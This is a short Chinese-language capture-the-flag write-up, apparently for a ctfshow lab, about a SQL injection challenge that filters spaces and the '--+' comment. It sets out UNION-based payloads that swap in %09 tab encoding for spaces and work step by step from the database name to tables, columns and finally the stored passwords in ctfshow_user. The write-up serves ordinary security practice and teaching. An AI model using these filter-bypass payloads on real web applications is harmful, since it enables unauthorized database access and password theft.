打开靶场跟前两题一样先正常进行
发现依旧存在对空格和--+的过滤,不过本题对空格的过滤更加严格
我们现在只能尝试使用别的过滤方法比如%09 %0a来替换/**/

我们后面继续正常注入流程


根据页面的回显可以发现字段数为3
-1'union%09select%091,database(),3%23

-1'union%09select%091,table_name,3%09from%09information_schema.tables%09where%09table_schema=database()%23

-1'union%09select%091,column_name,3%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

-1'union%09select%091,'hack',password%09from%09ctfshow_user%23

就得到了flag
最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+
是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义